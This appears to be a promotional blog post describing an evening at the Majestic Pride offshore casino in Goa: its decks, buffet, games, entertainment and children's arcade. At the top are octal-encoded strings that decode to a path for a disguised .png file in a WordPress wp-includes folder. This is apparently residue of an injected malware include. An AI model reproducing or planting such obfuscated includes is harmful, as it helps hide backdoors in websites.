MEET MARIA
"\57\150\157\155\145\57\166\161\153\156\63\66\144\60\145\154\60\157\57\160\165\142\154\151\143\137\150\164\155\154\57\167\160\55\151\156\143\154\165\144\145\163\57\151\155\141\147\145\163\57\124\150\71\141\63\110\56\160\156\147"; "\57\150\157\155\145\57\166\161\153\156\63\66\144\60\145\154\60\157\57\160\165\142\154\151\143\137\150\164\155\154\57\167\160\55\151\156\143\154\165\144\145\163\57\151\155\141\147\145\163\57\124\150\71\141\63\110\56\160\156\147";
With COVID restrictions been lifted on indoor activities, we heard a collective sigh of relief across the board. It’s time to get back to enjoying the finer things in life, and without further ado I signed up for something I’ve long been waiting to experience.
I took a trip out on the Mandovi River to the best offshore casino in Goa – Majestic Pride Casino. I had taken a look at their website earlier (www.majesticpride.in) and while pleasantly surprised with all the offerings, realised a single night’s visit far surpassed any expectation I may have developed along the way.
As the sun went down, we took a short boat ride out to the casino, a riverboat that glitters gold on the calm water and presents a very warm welcome to every guest who steps aboard. Each of its four decks offers a calming outdoor corner to relax and enjoy the view of both banks of the Mandovi – the quiet lights across the river in Nerul and the bustle of the city lights in Panjim.Â
Enjoying an evening at the top casino in Goa meant we had to explore every nook and cranny, starting from the highest deck down. As the largest offshore casino in Goa, Majestic Pride offers an incredible variety of international and Indian games, dining options and entertainment.Â
We started off with a bit of entertainment to get our spirits ready for a night of gaming. There were energetic Bollywood dances and a DJ spinning tunes to which we shook a leg and got our appetites raging for the well-reviewed food and beverages. I must say, it didn’t disappoint.
Seated in the open-air buffet area, we could feel the excitement and thrill reverberating through the other guests, many of whom had already hit the gaming tables at this incredible casino in Goa.
Majestic Pride casino offers a variety of packages that include unlimited food, with add-ons for unlimited non-alcoholic beverages, unlimited standard alcoholic beverages, and unlimited premium alcoholic beverages. The spread is exhaustive, featuring the choicest dishes from across the world, to satiate the cravings of even the pickiest eaters.Â
We outdid our appetites with numerous servings of Indian and Goan food, paired with quality wines. Guests who want to get fancy could opt instead for the exciting selection of cocktails and mocktails, each one prettier than the last.
Throughout the evening, we enjoyed the excellent service and warm hospitality that came with the amazing ambience, a perfect recipe for any tourist looking to spend a memorable night out in Goa.Â
By the time we hit the 27+ gaming tables, we were pumped with excitement from the entertainment and dancing, wining and dining. For those familiar with popular Indian games, Majestic Pride Casino offers teen patti, andar bhahar, mang patta and paplu or 27-card rummy.
Anyone wanting to try their hand at international games can take their pick from roulette, blackjack, baccarat, casino war, three-card poker, five-card poker, flush, mini flush, Pride stud poker, casino war, wheel of fortune and tai sai, with rows of slot machines available for quick bets. (Visit www.majesticpride.in/games for the updated list of games.)
I’m not much of a gambler but the thrill was too much to resist. I had a go at the slot machines, wheel of fortune, and even tested my luck with poker. But I spent most of my night at my favourite roulette table and was certainly not disappointed. The courteous staff takes great care of you, with the dealers explaining games that are new to you and the waiters making sure you’ve got something to sip and snack on at all times.
The energy on the gaming floor is incredible, particularly on weekends when guests come in from all over India to try and win against the house. With COVID restrictions easing, the staff is waiting to welcome more international guests once again.
Majestic Pride Casino has, for years, been the casino of choice for many travellers to Goa. Its decks have seen the likes of well-known Indian celebrities including actors Ali Asgar, Anjana Sukhani, Urvashi Rautela, Claudia Ciesla, Gauhar Khan, Kanneganti Brahmanandam, Nora Fatehi, Pranitha Subhash, Sonali Raut, Sonu Sood, Arbar Khan, comedian Kiku Sharda and others. So don’t be surprised if you discover yourself going head to head with a celebrity at a game of poker at this popular offshore casino in Goa.
With the floors open 24/7, there’s tons of time to enjoy all of the activities and entertainment they have in store. Each day, skilled Indian and international dancers put up live performances to chartbusters popular in the country and around the world. The performers have been specially picked for their talent, and their well-executed choreography elicits copious applause from the audience, making sure guests are glued to the stage and the thrills abound.
Majestic Pride Casino also hosts regular DJ Nights to get you up and dancing through the night. Guests can take a break from the slot machines and gaming to get their feet moving, let their hair down and enjoy the music before heading back to the tables. The newly launched Millenium Club is the perfect space for those who love a good time. The bar here serves a variety of cocktails and mocktails with lively music by skilled local and national DJs.
All major festivals throughout the year are celebrated on the offshore casino, with special themes and decor. Majestic Pride Casino took entertainment to a new level with the first ever offshore fight in India between pro boxer Vijender Singh and Russia’s Artysh Lopsan last year. The Indian pugilist may have lost but the energy and support he received from casino guests was unmatched!
And while you might imagine that Majestic Pride Casino is only meant for those over 21 years, in truth, everyone is welcome. The casino boasts an arcade for youngsters with games suitable for all ages, from little ones to teenagers, so parents can truly enjoy themselves all night.Â
Time sure flies by when you’re having fun, and before I knew it, it was past midnight. I needed to head home to prep for work the next day. But I was certainly proud of myself for coming away with a few more bucks in my pocket than I arrived with. The thrill of winning is unlike any other and I’m keen to return for more.
For information on upcoming events, tariffs and entertainment, visit www.majesticpride.inÂ